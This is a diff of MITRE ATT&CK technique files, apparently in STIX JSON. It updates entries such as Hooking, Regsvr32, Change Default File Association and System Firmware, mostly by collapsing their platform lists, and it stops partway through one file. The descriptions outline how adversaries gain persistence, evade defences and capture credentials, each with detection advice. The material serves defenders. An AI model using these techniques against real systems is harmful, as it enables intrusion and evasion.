diff --git a/enterprise-attack/attack-pattern/attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef.json b/enterprise-attack/attack-pattern/attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef.json
index e44729a1a3..2b4e2ff752 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--105292d0-c281-4704-a2d2-178180cc02c4",
+    "id": "bundle--469d2a2d-8817-4831-bcee-dcf55e7192c1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:09.379Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Communication Through Removable Media",
-            "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media is mounted.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Data loss prevention\n\nRequires Network: No",
+            "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media is mounted.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Data loss prevention\n\nRequires Network: No",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -33,21 +33,9 @@
             ],
             "x_mitre_network_requirements": false,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5.json b/enterprise-attack/attack-pattern/attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5.json
new file mode 100644
index 0000000000..ce15f6efcd
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5.json
@@ -0,0 +1,129 @@
+{
+    "type": "bundle",
+    "id": "bundle--a8fbb8e2-8e74-415b-be61-29e707eb0d38",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Hooking",
+            "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via:\n* '''Hooks procedures''', which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Engame Process Injection July 2017)\n* '''Import address table (IAT) hooking''', which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Engame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* '''Inline hooking''', which overwrites the first bytes in an API function to redirect code flow. (Citation: Engame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by Rootkits to conceal files,\nprocesses, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)\n\nDetection: Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools  (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors  (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes  (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process Monitoring, Windows event logs\n\nPermissions Required: Administrator, SYSTEM",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "credential-access"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "persistence"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "privilege-escalation"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1179",
+                    "external_id": "T1179"
+                },
+                {
+                    "source_name": "Microsoft Hook Overview",
+                    "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"
+                },
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+                },
+                {
+                    "source_name": "Adlice Software IAT Hooks Oct 2014",
+                    "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
+                    "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"
+                },
+                {
+                    "source_name": "MWRInfoSecurity Dynamic Hooking 2015",
+                    "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
+                    "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"
+                },
+                {
+                    "source_name": "HighTech Bridge Inline Hooking Sept 2011",
+                    "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.",
+                    "url": "https://www.exploit-db.com/docs/17802.pdf"
+                },
+                {
+                    "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017",
+                    "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017."
+                },
+                {
+                    "source_name": "Symantec Windows Rootkits",
+                    "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
+                    "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
+                },
+                {
+                    "source_name": "Volatility Detecting Hooks Sept 2012",
+                    "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
+                    "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"
+                },
+                {
+                    "source_name": "PreKageo Winhook Jul 2011",
+                    "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
+                    "url": "https://github.com/prekageo/winhook"
+                },
+                {
+                    "source_name": "Jay GetHooks Sept 2011",
+                    "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
+                    "url": "https://github.com/jay/gethooks"
+                },
+                {
+                    "source_name": "Zairon Hooking Dec 2006",
+                    "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
+                    "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
+                },
+                {
+                    "source_name": "EyeofRa Detecting Hooking June 2017",
+                    "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
+                    "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"
+                },
+                {
+                    "source_name": "GMER Rootkits",
+                    "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
+                    "url": "http://www.gmer.net/"
+                },
+                {
+                    "source_name": "Microsoft Process Snapshot",
+                    "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"
+                },
+                {
+                    "source_name": "StackExchange Hooks Jul 2012",
+                    "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
+                    "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_data_sources": [
+                "API monitoring",
+                "Binary file metadata",
+                "DLL monitoring",
+                "Loaded DLLs",
+                "Process Monitoring",
+                "Windows event logs"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3.json b/enterprise-attack/attack-pattern/attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3.json
index bfa379c699..627d6db361 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--616f42d8-a74e-40b2-b320-2a998dcc1f06",
+    "id": "bundle--2bddca41-01aa-4829-a9e2-dc0e5f441836",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:28.613Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Firmware",
-            "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\n\nDetection: System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, BIOS, EFI\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Ryan Becwar, McAfee",
+            "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\n\nDetection: System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)\n\nPlatforms: Windows\n\nData Sources: API monitoring, BIOS, EFI\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Ryan Becwar, McAfee",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -81,18 +81,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--68c96494-1a50-403e-8844-69a6af278c68.json b/enterprise-attack/attack-pattern/attack-pattern--68c96494-1a50-403e-8844-69a6af278c68.json
index d264e8b681..e7a1e3abfa 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--68c96494-1a50-403e-8844-69a6af278c68.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--68c96494-1a50-403e-8844-69a6af278c68.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fb466180-0c57-4094-aa4f-b4e1cbde00e0",
+    "id": "bundle--c921e331-6933-4ed3-8e9e-96e774a5c0a7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:42.222Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Change Default File Association",
-            "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access. (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nDetection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under <code> [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak",
+            "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access. (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command</code>. For example:\n*<code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n*<code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n*<code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to execute arbitrary commands.\n\nDetection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under <code> [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -38,7 +38,8 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Stefan Kanthak"
+                "Stefan Kanthak",
+                "Travis Smith, Tripwire"
             ],
             "x_mitre_data_sources": [
                 "Windows Registry",
@@ -51,18 +52,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a.json b/enterprise-attack/attack-pattern/attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a.json
index a97d56460a..c73b26567f 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f95b2593-d239-46ed-a6fe-c77931458a68",
+    "id": "bundle--8f775244-8258-4a13-96c4-145acde1743a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:26.966Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Regsvr32",
-            "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique has been used in campaigns targeting governments. (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nDetection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith",
+            "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique has been used in campaigns targeting governments. (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nDetection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -63,18 +63,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_remote_support": false
         }
diff --git a/enterprise-attack/attack-pattern/attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300.json b/enterprise-attack/attack-pattern/attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300.json
index b1126163d3..dbeb90ca90 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--049a745a-266a-487c-a9ac-7ef16e51b22c",
+    "id": "bundle--136beab6-479f-4979-80a2-f2745f905f06",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Re-opened Applications",
-            "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist</code>. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).\n\nDetection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.\n\nPlatforms: MacOS, OS X\n\nPermissions Required: User",
+            "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist</code>. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).\n\nDetection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.\n\nPlatforms: macOS\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -36,8 +36,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df.json b/enterprise-attack/attack-pattern/attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df.json
index d401e1bb7b..cf88ef4159 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4ce3fe26-b910-4b0b-af0b-8a04a68b0c18",
+    "id": "bundle--17946382-462d-4ee9-93b5-659f4663509b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:47.384Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Indicator Blocking",
-            "description": "An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.\n\nDetection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Sensor health and status, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
+            "description": "An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.\n\nDetection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.\n\nPlatforms: Windows\n\nData Sources: Sensor health and status, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -38,18 +38,7 @@
                 "Host intrusion prevention systems"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
